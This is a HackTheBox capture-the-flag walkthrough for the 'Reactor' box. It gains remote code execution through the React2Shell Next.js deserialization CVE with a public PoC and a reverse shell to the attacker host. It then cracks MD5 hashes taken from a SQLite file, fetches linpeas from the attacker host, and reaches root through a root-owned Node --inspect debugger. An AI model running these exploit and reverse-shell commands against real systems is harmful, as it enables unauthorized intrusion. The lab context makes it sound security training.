← Back to all writeups

HTB: Reactor — React2Shell to Root Walkthrough

HACKTHEBOX MEDIUM LINUX SEASON 11 FRAMEWORK-LEVEL RCE
Author: th3_m4d_h4ck3r  |  Framework: Scarif Operations

> OVERVIEW

Reactor presents as a fake nuclear reactor monitoring dashboard, "ReactorWatch," built on Next.js. The interesting part of this box is that the entry point isn't custom application logic at all — it's a framework-level vulnerability in React itself. No amount of manual route enumeration or directory brute-forcing surfaces it; the only way in is recognizing the tech stack and matching it against a very recent, very loud CVE. The chain:

  1. Unauthenticated RCE via CVE-2025-55182 ("React2Shell"), a deserialization bug in the React Server Components Flight protocol
  2. Foothold as node via reverse shell
  3. Credential extraction from an exposed SQLite database sitting in the app root
  4. Hash cracking — unsalted MD5, cracked in seconds against rockyou
  5. SSH as engineer, user flag
  6. Root via abuse of a root-owned Node.js process running with --inspect, reached through SSH port forwarding and the Chrome DevTools Protocol

> RECONNAISSANCE

nmap -sC -sV -p- --min-rate 5000 --disable-arp-ping <TARGET_IP> -oN nmap_initial.txt

Results:

The landing page is "ReactorWatch — Core Monitoring System," a fully static, server-rendered dashboard for a fictional "Nuclear Dynamics Corp., Facility Site-7." It lists a few names (Dr. Elena Rodriguez, Marcus Kim, James Thompson) as potential usernames, but there's no visible login form or interactive functionality anywhere in the UI.

Dead end: manual route/content enumeration

Extensive directory brute-forcing (gobuster, wordlists targeting Next.js API paths, vhost fuzzing, build-manifest inspection, source map hunting) turned up nothing actionable. Every "hit" was Next.js's own trailing-slash redirect behavior or a generic catch-all 404 page, not a real custom route. This is expected: the page is statically prerendered (x-nextjs-prerender: 1), and the vulnerability isn't in application code the developers wrote — it's in the framework underneath it. No amount of content discovery against a static page was ever going to find a bug that lives in React's internal deserializer.

> STAGE 1: IDENTIFYING THE FRAMEWORK BUG

The Vary: RSC header was the real tell. Once a distinctive, less-common framework detail like active React Server Components is fingerprinted, it's worth checking recent CVE disclosures for that exact stack before spending more time on manual enumeration. In this case, the framework version (Next.js 15.0.3, confirmed via window.next.version in a browser console, or via Wappalyzer) matched squarely against CVE-2025-55182, publicly nicknamed "React2Shell" — a CVSS 10.0 pre-authentication RCE in the RSC "Flight" serialization protocol, affecting any Next.js App Router application using React Server Components, including a stock create-next-app project with zero custom code.

The proper detection workflow (rather than searching for the box name outright) is: fingerprint the stack broadly, then either let a scanner auto-select CVE templates by tag, or manually filter by technology tag once the framework is known:
nuclei -u <target> -tags nextjs,react
nuclei -as -u <target>   # automatic scan: fingerprints first, then runs matched CVE templates
Once the rough CVE identity is known, the exact signed template can be located directly:
grep -rl "55182" ~/nuclei-templates/
# -> http/cves/2025/CVE-2025-55182.yaml
This CVE was disclosed and weaponized within hours — Datadog, Trend Micro, Microsoft, and Unit42 all published detailed write-ups within days, and it saw real in-the-wild exploitation delivering coin miners and C2 beacons. A framework fingerprint this specific is worth a CVE search on its own, independent of any application-specific testing.

A number of public PoCs exist with varying reliability; p3ta00/react2shell-poc provided a clean, scriptable interface:

python3 react2shell-poc.py -t http://<TARGET>:3000 --check
python3 react2shell-poc.py -t http://<TARGET>:3000 -c "id"
# uid=999(node) gid=988(node) groups=988(node)

Confirmed RCE as node. Went straight for a reverse shell:

python3 react2shell-poc.py -t http://<TARGET>:3000 --revshell --lhost <LHOST> --lport 4444

> STAGE 2: CREDENTIAL EXTRACTION

With a shell as node, the application directory was sitting right at /opt/reactor-app — and a SQLite database, reactor.db, was right there with no access restriction beyond normal file permissions:

sqlite3 /opt/reactor-app/reactor.db ".tables"
# sensor_logs  users

sqlite3 /opt/reactor-app/reactor.db "SELECT * FROM users;"
# 1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
# 2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb

Both hashes are unsalted MD5 — 32 hex characters, trivially reversible. Cracked instantly against rockyou:

hashcat -m 0 -a 0 39d97110eafe2a9a68639812cd271e8e /usr/share/wordlists/rockyou.txt
# 39d97110eafe2a9a68639812cd271e8e:reactor1
The admin hash (a203b22191d744a4e70ada5c101b17b8) did not crack against rockyou or CrackStation. This account appears to be an unused red herring rather than part of the intended chain — engineer's credentials were sufficient for the full path to root.
ssh engineer@<TARGET_IP>
# password: reactor1

User flag secured.

> STAGE 3: FINDING THE PRIVESC VECTOR

With no sudo rights available to engineer (confirmed both by an empty sudo -l and by the reactor1 password failing sudo authentication per auth.log), local enumeration was the next step — run at both privilege stages for completeness:

curl -s http://<LHOST>:8000/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh -a | tee linpeas_out.txt

Linpeas flagged the finding immediately — at the very first foothold as node, before any privilege escalation had occurred, since process command lines under /proc are readable regardless of privilege level:

root  1409  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
This is a documented technique, not a guess. From HackTricks' "Node inspector/CEF debug abuse" page: "Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas detect those by checking the --inspect parameter inside the command line of the process." Since the debugger has full access to the Node.js execution environment, any client able to connect can execute arbitrary JavaScript on behalf of that process — and since this process runs as root, that's a direct root primitive.

Why other tools didn't (and shouldn't have) found this

ToolWhy it doesn't apply
nucleiRemote/network vulnerability scanner. The debugger is bound to 127.0.0.1 only and is a misconfiguration, not a CVE — invisible from outside entirely and outside nuclei's operating model.
sqlmapTargets SQL injection in HTTP-facing parameters. There was no web-exposed query interface anywhere in this app; the database was read directly off disk after RCE, not through any network-facing input.

Dead ends explored for completeness

> STAGE 4: ROOT VIA NODE INSPECTOR ABUSE

The debugger listens on 127.0.0.1:9229 only — but that's not a real barrier once you have any local foothold, since SSH port forwarding bypasses the localhost restriction entirely:

ssh -L 9229:127.0.0.1:9229 engineer@<TARGET_IP>

With the tunnel up, the debugger is reachable from the attacking machine directly. Rather than relying on a full Chromium install and the chrome://inspect GUI, a small script talks to the raw Chrome DevTools Protocol WebSocket directly:

curl -s http://127.0.0.1:9229/json
# {"webSocketDebuggerUrl": "ws://127.0.0.1:9229/<uuid>", "title": "/opt/uptime-monitor/worker.js", ...}

Connecting to that WebSocket and issuing a Runtime.evaluate command executes arbitrary JavaScript inside the target process — which, since the process runs as root, means arbitrary shell commands as root via Node's child_process module:

require("child_process").execSync("id", {encoding: "utf8"})
# uid=0(root) gid=0(root) groups=0(root)

Root flag secured.


> LESSONS LEARNED